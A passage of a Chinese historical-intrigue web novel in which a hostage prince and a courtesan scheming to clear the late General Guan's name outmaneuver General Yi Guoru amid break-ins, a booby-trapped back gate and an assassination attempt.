“将军还看不出来吗?”脸上的表情微苦,殷戈止摇头:“在下安居一隅已久,本就不欲涉吴国朝政,就算贵国陛下邀在下教导皇子,在下也是极力推脱,怎么现在就接了这闻风令了?”
这个问题易国如在路上就想了很久,他只能觉得是殷戈止有向他报复的心思。可当真回来坐在他面前,看着他这一张正气凛然的脸,易国如不免又觉得自己想多了。
殷戈止是何等光明磊落之人,输得起,战败
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就二话不说随他回吴。这样的人,怎么可能报复他什么呢?毕竟在他眼里,自己是堂堂正正打下来魏国十城的,英雄当惜英雄才是。
那么,到底是为什么接了闻风令?
想起北郊外头的护城军,又想起太子那愈加虚假的笑意,易国如捻着手指,眼神深沉了起来。
殷戈止也没多说,安静地垂眸坐着,给了他半柱香的时间酝酿,而后才幽幽开口道:“闻风令于在下,不过是摆设,将军心里很清楚,要是没有太子殿下,将军的那些人,是万万不可能在这短短一月之中尽数折了的。”
有十张闻风令也不成啊!
易国如抿唇,轻笑道:“殿下的意思,是太子利用您质子的特殊身份,来折断老夫的左膀右臂?”
“非也。”殷戈止摇头,取下玉扳指握在手心,抬眼看着他道:“太子殿下要利用的,其实将军对在下的信任。要折断的,也还有在下对将军的亲近之意。”
闻风令放在殷戈止手上,太子对易大将军**的**开杀戒,那么易国如回来必定对殷戈止产生嫌隙,这一年多以来两人和谐友好的关系,就要在这一场杀戮里消弭于无形。
怎能不说太子殿下高明?
易国如闭眼,轻笑了一声:“昔日小儿,如今也长成了国之储君。”
但殷戈止的话,他绝对不敢全信。
出去半载,这不阴城竟然就翻了天,易国如深觉自己失算,冷静了一会儿,再睁眼,看殷戈止的眼神也就温和了下来:“殿下被卷进这争端之中,实在是池鱼之殃。”
“算不得在下无辜。”殷戈止淡淡地道:“毕竟将军对在下多有庇护是真,多有信任亲近是真。被太子逮了空子,实乃情理之中。闻风令造成的后果,在下自然也该承担。”
“殷哥哥。”易国如还没开口,旁边的易掌珠听不下去了:“这与你有什么相干啊?你那段时间还一直住在将军府避嫌……父亲,殷哥哥什么也没做,是太子哥哥太过妄为啊!”
易国如就这么一个女儿,打小疼着长大的,一听她说话,心里就忍不住偏了三分:“是这样吗?”
“是啊是啊。”易掌珠连连点头:“珠儿被逼无奈的时候,殷哥哥也很着急的,只是他什么也做不了。闻风令……说得好听,一个牌子而已,殷哥哥这样的身份,拿着那牌子也什么都做不了啊。”
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第98章 你要小心
听着这话,殷戈止突然就觉得风月真是个机敏的姑娘,有她这样的人陪着同行,他实在是比易将军幸运了太多。
易国如又陷入了沉思,易掌珠抓着他的胳膊轻轻摇晃:“父亲好不容易回来,不同咱们吃顿饭,净说这些做什么?”
“你饿了?”看了看时辰,易国如笑道:“分明还早。”
“那也该让人提前准备才是。”易掌珠撒娇道:“家里不谈国事嘛。”
“好好好。”柔和了神色,易国如宠溺地看着她道:“你说什么就是什么吧,半载没陪着你,是为父失职,得好生补偿才是。这样,你先去厨房看看有什么东西,然后吩咐人准备午膳如何?”
看自家父亲神色温和了,易掌珠点头就应道:“好。”
然后提着裙子就跑了出去。
大堂里只剩下两个人的时候,易国如再度开口:“太子为政暴虐,朝中众人多有不满,殿下若是能及时脱身,便是再好不过。”
“将军放心。”殷戈止拱手:“将军一回国都,在下便让人将闻风令送还去了太尉府,想必有将军在,太子也不会再将此物塞给在下。”
言下之意,就是将军不在国都,所以他才被迫拿着了闻风令。
易国如点头,终于不再盯着他看,而是眯着眼看了看外头的天:“老夫此生有过很多对手,最钦佩的,也不过殿下与魏国的关将军。可惜关将军死于皇室多疑,令人唏嘘。有此前车之鉴,老夫万万不想步其后尘,很多时候,也得用点保全自己的手段。”
他说这话的意思,大概是给殷戈止提前打个招呼——老夫要用阴招了,你看出来也别吭声,老夫自保而已。
但是殷戈止的注意力不在这上头,听他说完这话,他第一句问的却是:“关将军死于皇室多疑?”
易国如一愣,身子僵住,眼珠子轻轻晃悠了一下,若无其事地笑问:“老夫刚刚说了这句话吗?”
殷戈止皱眉点头。
“那是老夫失言了。”端起旁边的茶杯,易国如平静地道:“关将军到底是因为什么死的,殿下应该比老夫更清楚。都是陈年旧事,也不必再提。”
“将军。”殷戈止沉声道:“如今在下只是质子,不问吴国事,自然也不理魏国事。但关于关将军的事情,还请将军如实告知。”
当年关苍海通敌**,通的敌不就是面前的易国如吗?可他怎么脱口而出,说关苍海是死于皇室多疑?
易国如笑着,压根没想继续说这件事,转了话头道:“魏国少一个关将军,后面也总有年轻人能补上空缺。最近听着消息,魏国有个封将军,年轻气盛,连打三场胜仗,将四周小国打了个老实,颇有殿下当年风采。”
封将军?封明吗?殷戈止淡淡地道:“镇国侯家的世子,是有些本事的,就是脾气不太好。”
“哦?”能不谈关将军的事情,易国如就很配合地聊天:“怎么个脾气不好法儿啊?”
“他原先与关将军家的嫡女关清越定了姻亲。”慢慢地吐出这句话,看着易国如陡然僵硬的脸色,殷戈止继续道:“可惜后来关将军被满门抄斩,他的未婚妻也死在刑台之上,为此,半夜硬闯魏国东宫,与在下打过一架。”
话题想转,但是转错了地方。要说魏国谁还与关家有关系又还活着的,那就只有一个封明了。
易国如干笑,眼看他又要说到关家头上去了,连忙朝外头喊了一声:“去看看小姐那边怎么样了?”
“是。”外头的家奴应了。
回过头来,易将军道:“此番边境之战,也遇见不少趣事,殿下要是想听,老夫倒可以说一说。”
深深地看他一眼,殷戈止颔首:“好。”
太阳慢慢地挂在了头顶上,使臣府里,风月拿着绢扇给灵殊扇风,一边扇一边抱怨:“这也太热了。”
灵殊坐在她对面,拿着扇子学着她的模样给她扇风,乖巧地道:“您要是还觉得热呀,那奴婢给您抱点冰块儿回来。”
“这种时候,哪儿有冰块啊?”
“有啊,就在安居街中间的铺子里,专门供给安居街里的贵人的。”灵殊道:“奴婢上次出去的时候看见过。”
真有的话……风月笑眯眯地回头看了看观止。
正在走神的观止一个寒颤回过头,无辜地睁着眼问:“怎么?”
“去安居街抱点冰块儿回来怎么样啊?”风月笑得唇红齿白的:“我给银子。”
观止垮了脸:“风月姑娘,属下一个人,也抱不了多少……”
“灵殊,热吗?”她扭头就问。
小丫头配合地点头:“热!”
给她一个赞赏的眼神,风月笑眯眯地又看向了观止。后者青了脸,挣扎了半晌还是小声道:“您拿银子吧。”
为了避免殷戈止回来有人告状,风月还是多给了银子,足够他找牛车把冰块运回来。观止竟然觉得感激涕零,拿着银子一溜烟地就跑了出去。
在他踏出使臣府的一瞬间,远处响起一声不高不低的哨音,淹没在外头嘈杂的声音里,并不是很显眼。
风月正笑着与灵殊说话,说着说着突然神色一紧,伸手将灵殊抱起来就往殷戈止的房里跑。
“怎么啦?”灵殊一脸茫然。
“出事了。”神色凝重,风月脸上线条紧绷,动作干净利落地将灵殊塞进架子床与墙的空隙里,低声道:“不要发出任何声音,就算有人来找,你也努力闭眼装死,明白了吗?”
完全不知道发生了什么,但被自家主子这凌厉的眼神看着,灵殊捂着嘴巴就点了点头。
外头的打斗声渐渐清晰,风月伸手就将长裙扎在腰上,拢了袖子,很是豪迈地从窗户跳了出去,直直地往声音传来的方向冲。
使臣府里闯进了人,大概是看观止走了,觉得这儿没什么守卫,所以十个人很是大胆地直接从大门进来,结果就被暗处蹿出来的干将等人堵在了门口。
十个蒙面人本来还有点茫然,没想通面前这些人从哪里冒出来的,就看见他们要抓的人站在远处夸张地“哇”了一声,之后转身就跑,跑得飞快,一溜烟地就朝后门而去
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“抓住她!”领头的人呵斥一声,众人瞬间就不恋战了,想摆脱暗卫去抓人。
然而,干将等人又不是吃白饭的,蒙面人一分神,他们瞬间就占了上风,抓着几个心急想冲的,逮着就是一顿猛揍。
瞬间有几个蒙面人倒在地上没能爬起来,但也有两个冲出重围的,直直往后门的方向追。
干将急了,一掌劈在人天灵盖,也抽身往后门的方向跑。跑到的时候,却见后门大开,门口有只绣花鞋,两个蒙面人已经远远地追了出去。
微微一顿,干将上前,立马将后门给关上,然后转头看了看四周。
“您可真是比他们聪明太多了。”旁边躲着的风月笑嘻嘻地道:“还知道我没有出去。”
听见这声音,干将下意识地就拱手:“少主……”
“您说什么呢?”走到他面前抬起他的手,风月笑道:“奴家哪里受得起您的礼。”
听着前院的打斗声,干将摇头:“此地不宜久留。”
“有什么不宜的?”她道:“外头没有比这里更安全的地方,再说了,灵殊那小胳膊小腿的可跑不了多快。与其退,不如守。”
府里的暗卫以一当三没有问题,就是事发突然,他们也有点没反应过来罢了。再说,这光天化日的,使臣府又是在安居街附近,动静大了,贼人自然不敢久留。
干将点头,深深地看了她一眼,转头去继续对付蒙面人。风月就不慌不忙地将后门锁死,然后去厨房抱了两罐子油和酒,倒在后门和围墙下头的地上。
追的人一路没看见风月的影子,暗道上了当,很快就折返回来。见后门推不开,冷笑一声,施展轻功就从围墙外头飞了进来!
然后踩在滑腻腻的地上,摔了个半身不遂。
风月微笑,手里拿着火把,蹲在不远处看着他们:“想抓我?”
闻着四处的酒味,又看看满身的油腻,两个蒙面人惊恐地站了起来,连连后退。
“不是想抓吗?来嘛,别怕。”咧嘴笑出一排白牙,风月将火把递到他们面前,妩媚地道:“带我走啊~小哥哥。”
跟看鬼一样地看着她,两人挣扎着站起来,立马去开后门,脚底打滑,摔得七荤八素地跑了出去。
好可怕的女人啊!
三柱香过去了,前院的打斗声才渐渐停歇。干将喘了口气,正想把没能走掉的人捆起来,猛地想起后院,一拍脑门喊了一声:“坏了!”
那两人去而复返怎么办!
连忙跑去后头,却闻见一股子奇怪的味道,干将愕然抬眼,就见风月蹲在台阶上,低头感叹:“阿弥陀佛,浪费油浪费酒,暴殄天物。”
“这……”干将傻了眼:“发生什么事了?”
“没什么,挖了个陷阱,敌军已经退散十里,莫敢再犯。”拍拍手站起来,风月看着他笑道:“辛苦了。”
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第99章 不该死的呢
听着这句话,干将有一瞬间的怔愣。
关家的人是不是都有这个习惯?打完仗之后,总要侧头跟人说一句“辛苦了”,听得人心里说不出是什么滋味儿。尤其是在这物是人非之后再听来,简直让人几欲落泪。
“殷殿下真是神机妙算啊。”一点也没察觉到旁边人情绪的风月笑眯眯地道:“怪不得让我小心,想必我已经被很多人惦记了。”
“这是自然。”觉得有点丢脸,干将飞快地敛了情绪,低头道:“最近一月国都大乱,您是在乱中躲了风头。眼下大将军回来,得知殿下身边多了人,自然是想问候一二的。”
“这问候也真是粗鲁。”眨眨眼,风月扭腰就往主院走,娇声娇气地埋怨:“奴家这样水做的人儿,怎么经得起他们这么吓。哎呀呀,赶快去喝点冰镇银耳压压惊。”
干将:“……”
还在躲着装死的灵殊被拎了出来,坐在软榻上喝银耳汤的时候,她突然很好奇地问了一句:“主子,为什么每次遇见什么事,您第一件事不是想怎么逃,而是都在把奴婢藏起来?”
风月笑道:“因为你很可爱呀,主子舍不得你死。”
是吗?灵殊皱眉,她虽然年纪小,可是不傻啊,自从被主子买回去,自个儿也没有什么特别大的功劳,可主子对她实在是好得不像话,她喜欢吃什么就能买什么,每次遇见什么事情,主子也都想的是先保全她。
“为什么呢?”灵殊又问了一声。
斜眼睨着她,风月放下捏着扇子的手,轻轻弹了弹这小丫头的额头:“想那么多做什么?当有好日子过的时候,就用心过,不必总是堵在那些有的没的上头过不去,不然大好的日子都被辜负了,自己还更加不开心,有什么好处?”
主子说的话永远这么有道理!灵殊握拳点头,拿起扇子就继续给她扇风。
殷戈止回来的时候,已经是黄昏时分了。跟老狐狸过招,精力消耗过大,眉目间都染了疲惫。
然而,使臣府的门一开,院子里花香盈盈,两排亮着的石灯一路通到主院门口,有人站在门口的台阶上冲他笑得美艳绝伦:“您回来得正好,晚膳做好了。”
微微一顿,殷戈止抬眼,眼里映着石灯温暖的光,轻柔地落在那人身上。天地间好像突然什么都没了,只有这一院子的花草,两排石灯,和对面那台阶上站着的人。
有那么一瞬间,他觉得风月长得当真是好看,虽然脸上的妆浓得过分,穿的衣裳也单薄得让他不舒坦,但……就是很好看。
“主子?”有碍事的声音插了进来,殷戈止回神,侧头看他一眼。
观止沮丧着脸,双手举高过头,手里捏着根长长的藤条,低声道:“属下请罪。”
“怎么?”抬脚往里头走,殷戈止问:“犯了错?”
“属下失职。”举着藤条跟着他走,观止小声道:“午时出去搬冰块,结果府里出了事,有人闯进来了。”
脚步微微一顿,殷戈止抬头看了一眼前头好端端站着的风月,又继续往前走:“人呢?”
“活捉了三个,都关在了柴房。”
“当贼送官就是。”淡然地说着,殷戈止在风月面前站定:“你看起来倒是一点事都没有。”
“托您的福。”伸手拉着他去桌边坐下,风月道:“奴婢没给使臣府丢人。”
“没丢人就好。”殷戈止应着,低头看向桌上的菜,眉梢微动:“这些是什么?”
风月傻笑:“清蒸鳜鱼、老鸭汤、蒸肉、水捞白菜。”
“突然这么清淡做什么?”殷戈止道:“你不是一向喜欢吃油腻的?”
擅自做主把一坛子油都倒了,自然是做不出油腻的菜了啊!风月赔笑:“偶尔清淡点也挺好……您去将军府,还顺利吗?”
殷戈止颔首,优雅地夹菜:“成功坐到了山上,现在要做的就只是观虎斗了。”
惊讶地瞪了瞪眼,风月道:“易大将军没问罪您闻风令的事情啊?”
殷大皇子没吭声,只给了她一个意味深长的眼神。
于是风月就点头刨饭,边吃边道:“问也问不到您身上去,奴婢多虑了。”
今儿她只吃了一碗饭就放了筷子,殷戈止瞧着,招手喊来外头还举着藤条站着的观止:“将功赎罪吧。”
“但请主子吩咐!”
“去山上打只野兔子回来,要肥的。”
啥?观止瞪眼,看了看外头的天色:“这时候去?”
殷戈止的眼里满是肯定。
于是观止捏着藤条就往外冲,看得风月咂舌:“这也太听话了。”
放了碗筷,殷戈止侧头问她:“太子最近在做什么?”
风月眨眼:“您问奴婢?”
“不然呢?”伸手将人抱起来去软榻上坐着,殷戈止冷淡地道:“这是使臣府,只要有信件来往,我都能知道。”
所以说太子道行不够啊,送信就送信,能不能伪装一下,不要搞成信的样子?看吧?被人逮着了吧?风月心里骂了两句,然后恭恭敬敬地就在软榻上跪下了。
“太子殿下在做什么奴婢不知道,信里的意思也不过是提醒奴婢好好伺候您。”
“是好好伺候我,还是好好看着我?”平静的眼神里带了点刺,殷戈止看着她:“你也不回个信。”
二话不说,风月伸手就将太子送来的两封信全部塞到了殷戈止手里:“您还是自己看吧,奴婢也不知道怎么回。”
这么耿直?殷戈止挑眉,眼睛盯着她,手里拆开信纸,缓缓低头去看。
第一封信要早些,是让她好好伺候自个儿没错,还对这丫头一顿夸赞,套着近乎说什么“难得有此良人,卿也当好好珍惜”的废话,大概也就对女人管用。
第二封信应该是最近的,一通看下来,只有一件事略微打眼。
言官宁国忠上奏天听,为社稷稳固,请皇帝收回无仗之时的兵权。
叶御卿提此事提得隐晦,明面上说的也不过是让风月小心。可这种信送到使臣府,哪里是给风月看的,分明是给他看的。
嗤笑一声,殷戈止伸手捏碎了纸,似嘲似讽地道:“这么着急削易国如手里的兵权
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,容易出事。”
风月眨眼:“您觉得不妥吗?可如今易大将军身边无兵,一家老小都在国都,皇帝当真下旨收兵符,他能不交吗?”
“他会不会交我不知道,但是。”殷戈止抬眼看着她:“这样一来,太子是当真把吴国最大的将军,推到了自己的对立面,以易国如的个性,定然是不会有什么忠君为首的观念。当真逼急了,兔子都咬人,更何况是老虎。”
缩了缩肩膀,风月道:“他会**吗?可易贵妃没有孩子,他**名不正言不顺,想想都不可能成功。”
“**是将士大忌,他不一定会犯。”想起花架上放着的那些信,殷戈止垂眸:“不过其他的就说不准了。”
风月沉默,突然笑着说了一句:“您觉得易将军这样的将军好,还是关将军那样的将军好?”
微微一顿,殷戈止皱眉:“一个是老奸巨猾的枭雄,一个是忠国却叛国的英雄,怎么比?”
“忠国却叛国。”念叨了一下这句话,风月笑道:“是啊,民间也都骂关将军是个**贼,奴婢也骂过。只是跟在您身边久了,奴婢突然觉得好奇。要是关将军像易将军这样有本事,是不是就不那么容易被揭发**了?”
殷戈止沉了脸,突然有些恼了:“妇道人家,关心这些做什么?该死的都**,该败的也都败了,往事追来何趣?”
该死的都**,那不该死的呢?!
捏紧了手,风月笑得妩媚,低头应道:“是奴婢多问了。”
心里古怪的感觉又起,殷戈止突然问了一句:“你觉得关将军是冤枉的?”
“没有。”风月摇头,“奴婢只是突发奇想问了一句,皇室定的罪,他怎么可能是冤枉的呢?”
说罢起身,去桌边倒水。
殷戈止脸色不太好看,眼睛盯着某处走神,等风月倒茶回来的时候,他低声开口:“我向来不信人,只信证据。”
风月点头笑道:“殿下英明。”
伸手抓着她放了茶盏就想收回去的手,殷戈止不解地抬头:“你为什么一边夸我,一边避开我?”
眨眨眼,风月问:“有吗?”
殷戈止抿唇,看了看她这张笑得虚假的脸,骤然松手:“罢了。”
区区妓子而已,他在意她的态度做什么?观止说得对,他就是过于宠着她了,所以将人宠出了脾气。
面前的人笑盈盈的,分明看得懂他的脸色,却又毫无反应,脸上满是无辜,双手交叠放在腹部,站得端端正正地问他:“殿下还有什么吩咐?”
“没有了,你出去罢。”
“是。”
宁国忠的奏折在朝廷里掀起轩然大波,太子未表态,太子**的人却是纷纷响应,文臣以忠心压,武将以规矩禀,都让易大将军以及徐将军等大将上交手中兵权。
徐怀祖着急火燎地就去了使臣府,推开门就喊:“师父,救命啊!”
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第100章 归还兵权
殷戈止很是淡然地看着他,伸手给他递了杯茶:“救什么命?”
“您还没听说吗?”瞪大眼,徐怀祖大声道:“朝中上下都在让将军们交出兵权,我家老爹已经愁得几个晚上没睡好觉了。”
“嗯。”殷戈止点头:“既然都让交,那为何不交?”
徐怀祖一愣,端着茶喝了一口:“谁手里的兵权舍得轻易交出去啊?那可都是生生死死换来的,将军要是没兵权,那还不任人拿捏?”
“你说得不对。”后头的安世冲跟着慢慢走进来,先朝殷戈止行礼,而后皱眉看着徐怀祖道:“将军在战场上要兵权杀敌,可下了战场之后,兵权何用?难不成你还能让朝廷养的兵给你当家丁护院?”
“话能这么说吗!”徐怀祖怒了:“你听过魏国的关苍海吧?他就是这全天下交兵权交得最利索的一个,打完仗回来二话不说先去太尉府交兵符,这样的忠臣良将,最后有好下场了吗!”
脸上一白,安世冲急忙扯住他的袖子,顾忌地看了殷戈止一眼。
后知后觉地想起自家师父的身份,徐怀祖身子一僵,二话不说“噗通”一声就跪在了殷戈止跟前:“徒儿失言!”
殷戈止眼神冷漠:“你觉得他是因为上交了兵权,所以没什么好下场吗?”
“倒不是……”心虚地咽了口唾沫,徐怀祖撇嘴:“只是觉得要是换成易大将军这样手握重兵的,魏国皇帝肯定就不会那么仓促地定罪,一代名将也不至于在牢里畏罪自尽。”
“就算是易大将军这样手握重兵的人,通敌**,那也一定会被斩首!”声音陡然大了些,吓得屋子里的人都是一震。
旁边的风月低着头,不声不响,眼里倒满是凉意。
殷戈止突然就闹了脾气似的,起身道:“身为将领,纵使有通天的本事,那也只是为君征战之人,若想逆君,除非准备万全到谋朝篡位的份上,不然必定就会成为皇权下的亡魂!这点道理都不懂,还打什么仗?!”
“可是。”徐怀祖忍不住嘟囔:“您怎么就知道关苍海一定逆君叛国了?”
“我怎么知道?”眼神陡然冷下来,殷戈止看着他笑了笑:“因为我是踩着山鬼谷里数万将士的尸骨爬出来的,因为那一场平昌之战,是我同他一起打的,你问我怎么知道?”
“师父息怒。”安世冲半跪在徐怀祖旁边拱手:“怀祖他一向口无遮拦惯了,并非有意顶撞。”
徐怀祖也焉了气:“徒儿不知其中原委,还请师父恕罪。”
屋子里安静了许久,殷戈止平静了,眼里的红色慢慢褪去,重新在椅子上坐了下来,捏着眉心道:“说这么多,也不过一句话,如今太子想收兵权,徐家既然向来与太子**无冲突,那不如顺水推舟,将兵符上交太尉。”
徐怀祖皱眉:“师父当真觉得这是一条出路吗?”
“你若信我,不如回去劝令尊一二,也比负隅顽抗到最后,还是得把手里的东西交出去来得好看。”殷戈止道:“不过交也得看时机,若是易大将军肯先将北境十万大军的兵符上交,那令尊便可将手里的五万兵权悉数给出。不可早不可晚,不可多不可少。”
徐将军手里的五万驻军是养着的,备战之用。说是五万,他那般好养兵的人,真实的兵力定然不止五万,不过只交这么多就够了,多交也没好处。
徐怀祖叹了口气,很是纠结。安世冲道:“眼下是多事之秋,你与宋家的婚事还是缓缓为好。”
“说什么缓不缓啊?我已经让我爹去退婚了。”徐怀祖道:“她跟我没法儿在一起过日子,我不喜欢,拼着被我爹打一顿,这亲我也不成。”
风月听着,微微摇头。
被男方主动退婚,那宋家小姐之后要再找婆家,可就难了。先前不听她劝谏,如今怕是里里外外的脸都丢尽了,不知道要怎么哭。
不过这与她都没什么干系,她躲在人麾下这么久,也是时候做自己想做的事情了。
两家少爷闹腾了一会儿,看殷戈止心情不好,连忙就行了礼跑了。殷戈止侧头,就见风月面无表情地站着,那神情,跟他每天在镜子里看见的一模一样。
“你做什么?”他问。
风月垂眸:“奴婢是突然想起个很严肃的事儿。”
“什么事?”
“您觉得以易大将军和三司使杨大人的关系,大将军回来了,杨大人**的事情,能有个结果吗?”
殷戈止一顿。
这段时间一直忙着抓太子想抓的人,倒是忘记了真正该抓的人。杨风鹏与易国如多有金钱往来,此事若是落实,倒是能让太子名正言顺地收回易国如手里的兵权。
“你有什么线索?”殷戈止问。
风月笑道:“现在是没什么线索,不过马上就是该拨款给北境军重振旗鼓的时候了。”
有金钱流动,那线索自然是不会少的。
殷戈止点头:“我会让人多留意。”
“您的人留意得到哪儿去?”娇笑一声,风月眨巴着眼道:“还是奴家来吧。”
朱来财一早就被殷戈止捞出来关在暗牢
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里,此事安世冲知情,出于对师父的信任,安少爷瞒着没吭声,一直让人养着。
如今想起这茬,殷戈止就去牢里看了看他。
朱来财已经被关得瘦了一大圈,见着人来,直接就哭了:“殿下,您想要听什么,奴才都可以说啊,放奴才出去吧!放奴才出去罢!”
殷戈止低头,嫌弃地看着他这模样,都没有靠近,只低声问:“你是三司使府上的账房,应该知道他所有的金钱流动,是吧?”
“是,是!”朱来财点头,想了想又有些沮丧:“可是奴才在世人眼里是个**,您就算要奴才做证人,奴才也做不了啊。”
“那些事不用你做。”殷戈止道:“你只要粗略告诉我几笔大的出账和入账即可。”
犹犹豫豫地看着他,朱来财问:“只要说这些,奴才就可以出去了吗?”
“或许。”
“好,让人拿纸笔来,奴才现在就开始写!”
挥手让观止把笔墨给他,殷戈止眼里光芒暗转。
风月去响玉街街尾的绿豆糕铺子吃早点,热情的老板娘拉着她就上了二楼,然后脸色便凝重了起来:“您要奴婢安排的人,奴婢已经统统安排下去了。幸好这几年没少在四处安插人手,现在要用,也能用得上。”
淡然地往嘴里塞了最后一块绿豆糕,风月微笑:“这是**他,有太子和殷戈止两个助力,咱们能省不少的事情,只要把杨风鹏给扯下马,这一仗就能算咱们全胜。”
郑氏叹息:“您其实可以不用这般费心,直接等太子和殷殿下将易将军处置了,大不了也就是多等上几年,总能等到的。”
“我没那个耐心。”风月摇头:“等不及的。”
已经过去三年多了,再等几年,她怕是谁也追不上了。
郑氏抿唇,终于还是把袖子里的东西塞给她:“这是咱们的人的分布,您好生看看,方便安排。”
打开那东西看了看,风月点头:“我知道了,辛苦你们。”
晚上的梦回楼依旧是热闹非凡,风月蹲在后院里等,没一会儿忘忧就钻了狗洞进来,微笑着看着她道:“姑娘久等。”
回她一笑,风月伸手递给她东西,看着她仔细收进袖子里,而后才问:“太子对你好吗?”
脸上微红,忘忧点头:“很好,没让我吃什么苦,他是个好主子,对人很温柔。”
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第101章 我生你生
风月点头:“那你可以好生跟着他,这件事结束了,也就不必再与我有来往。”
浑身一震,忘忧脸上的笑意消失了个干净:“东家?”
“怎么了?”风月眨眼:“我是真心说的这句话,不是要赶你走,也不是责备你。你已经受苦了这么多年,余生要是还牵扯在这些事情里,那也太惨了。”
白着嘴唇摇头,忘忧道:“奴婢的命是东家救的,报仇的机会也是东家给的,怎么能……”
“你永远是属于你自己的。”风月啧了一声,痞里痞气地道:“别念恩啊,咱们也算是互惠互利,毕竟你的仇人**,对我也算是好事,所以你不欠我的,**契金妈妈也已经销毁了,你现在是自由身,只管叫我一声风月。”
忘忧愕然,怔愣地看了她许久,垂了眼眸道:“先前金妈妈告诉奴婢您是东家的时候,奴婢觉得她疯了。从踏进梦回楼奴婢就觉得这幕后的东家很厉害,经营这么大一座青楼,与各家贵人都有些往来,还能容得下那么多身怀怨怼的姑娘,东家起码也该是个顶天立地的男儿,有贵重的身份、深沉的心计。”
摸摸鼻尖,风月不好意思地道:“让你失望了。”
“没有。”眼神灼灼地看着她,忘忧深吸一口气,眼眶微红:“东家比奴婢想的还要厉害,比所有男人都厉害。您什么也没有,甚至跟奴婢一样落在这青楼里,但您还是让断弦解脱了,也让奴婢解脱了。”
轻轻提了提裙摆,忘忧重重地朝她跪下来,磕了三个响头。
风月吓得往旁边一跳,连忙将人拎起来:“行了行了,你知道为什么我直接将断弦扔出去吗?就是因为这谢来谢去哭来哭去的太麻烦啦!我不喜欢这样子,咱们站直了好好说话。你如今跟了太子,他的确是个好主子,但宫里形势复杂,你切记要让太子小心易贵妃,我给你的东西,也一定要让殿下好生斟酌,这才是你该做的。”
忘忧抿唇:“奴婢明白。”
“此地也不宜久留,你收拾好你自己的东西,就快点回去吧。”
“好。”深深地看她一眼,忘忧转身就准备上楼,走了两步还是忍不住回头,朝她一笑:“希望东家,最后也能让自己解脱。”
风月一顿,咧嘴笑得白牙闪闪:“会的。”
总会有那么一天的。
易将军府。
易国如一踏进那客房就变了脸色,沉声叱问:“谁进来打扫过了?我不是吩咐过,这地方不准任何人进来吗?”
正端着点心过来的易掌珠吓了一跳,小声道:“这是……上回女儿让人打扫的,灰尘太多了……”
脸上一僵,易国如直叹气:“珠儿,你怎么就不会将为父的话听进去呢?”
“一间客房而已啊,您也没说这里有什么不能碰的东西。”易掌珠很委屈:“您要是提前说了,珠儿万万不敢让人打扫的。”
“我……”抹了把脸,易国如摇头:“罢了,你先告诉我,进来打扫的那个家奴在哪儿?”
“不是咱们府上的人。”易掌珠咬唇:“是殷哥哥身边的丫鬟。”
“什么?”易国如愕然:“你让殷殿下身边的丫鬟来打扫咱们的府邸?珠儿,这合规矩吗?”
易掌珠咬唇低头:“最近发生了很多事,您不知道,殷哥哥身边那个丫鬟很让人讨厌,女儿是为了教训她,才让她打扫的。”
气得头一阵晕,易国如道:“罢了罢了,你先回房休息。”
“是。”看了看手里的点心,易掌珠红着眼就原封不动地端回去了。
易国如黑着脸打开地砖看了看,然而他藏着的东西所有的都在,好像没有被人发现似的。
不对,要是这里面的东西没人发现,那冷严那几个人是无论如何也没证据被定罪的。这里头很多东西是他留着以后好牵制这些人的,可现在,他想牵制的人,都已经在太子的手里半死不活,没了作用。
“薛良。”他喊了一声。
外头有人进来,拱手应道:“将军。”
“我让你们抓的人呢?”
头埋得低了些,薛良小声道:“使臣府有暗卫,是卑职们失算,人没能抓到。”
他就不说不仅没抓到,还有两个精锐很是狼狈地裹着一身油和酒回来,据说是被那丫鬟给整的。
太丢人了。
脸色沉得更厉害,易国如转头看着他:“我一直让你们注意殷戈止的动向,身边什么时候有了这么个丫鬟,我怎么不知道?”
“消息传得慢了。”薛良道:“那丫头到殷殿下身边,也就是这两个月的事情,是徐家送的人,卑职们也不知道该怎么查。”
徐家?徐家倒是一直中立未曾与他有过什么纷争,过年过节也时常走动,算是关系不错,要是他们送的人,那还好说。只是……
“这屋子,只有那丫鬟进来过吧?”
“是。”
“那就把她给我抓回来,实在抓不回来,直接灭口也行。”
宁杀错不放过,若当真是她发现了这屋子里的秘密,还留在殷戈止身边,那就不妙了。
薛良应声而去。
风月回去了使臣府,跪坐在殷戈止身边道:“今日城里有个地方会出事。”
殷戈止抬眼看她:“怎么?”
“杨风鹏把敛来的金银财宝都埋在城南一家磨坊的地窖里。”风月道:“奴婢已经派人埋了**,等那一块儿人少些的时候,就把地窖炸开。”
这才几天的时间,竟然把人藏赃银的地方找出来了?殷戈止有些吃惊,吃惊的同时难得地用赞赏的眼神看了看她:“了不得。”
“殿下过奖。”风月微笑:“等地窖炸开,太子那边便会请廷尉大人亲自追查此笔银两的来源。杨风鹏想掩盖踪迹是来不及的,他手下会有很多证人。”
将书扣在桌上,殷戈止深深地看着她,道:“你筹谋已久?”
“有备而来罢了。”面前的女子微笑:“杨风鹏出事,将军府必定被波及,到时候,就看太子殿下和您的本事了。”
心里微紧,殷戈止突然问:“你想要的到底是什么?”
“您看不出来吗?”眨眨眼,风月伸手
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搂着他,笑得媚气横生:“奴家想要您开心呀,这么千方百计地哄着您为您做事儿,就想让您喜欢奴婢。”
斜她一眼,殷戈止伸手将她的手拿下来放在掌心:“你这样的人,其实是该死的。”
微微一顿,风月笑道:“奴婢知道您舍不得。”
“从哪里知道的?”
伸出另一只手划在他心口的位置,风月笑得花枝乱颤:“这里。”
被她手指点着的地方微微一慌,殷戈止有些恼:“你未免太过自信。”
“咯咯咯。”风月边笑边摇头,正想再调侃他两句,却见面前这人瞳孔突然一缩,接着自己腰身就是一紧,被他扯得同他一起倒在那软榻上。
有凌厉的风从身后穿过,小小的一股,却凉得她后脑勺疼。
皱了眉,风月侧头,就听得旁边墙上“铮”地一声响,有细小的箭头扎进了墙壁,泛着蓝色的寒光。
倒吸一口凉气,她“哇”地一声就抓紧了殷戈止的衣襟:“殿下救命!”
这样的刺杀殷戈止已经是见怪不怪了,但在使臣府里头发生,还是头一回。
单手搂着她起身,殷大皇子低喝一声:“观止!”
外头的人应声进来,声音紧张:“主子,有人闯入,人数众多,您与风月姑娘先去安国侯府坐会儿吧。”
都让他们转地方了,那情况是真的很危急。殷戈止想也不想就要走,风月却白了脸:“灵殊!把灵殊带上!”
“观止会救她的……”殷戈止头也不低,却觉得心口一紧。
怀里的人抓着他心口的衣裳,眼神里带了浓烈得说不清是什么的情绪,一字一句地道:“你得救她。”
谁不救灵殊都可以,他不行。
皱紧了眉,殷戈止很想不听她的话,一个丫鬟而已,真给她脸了!
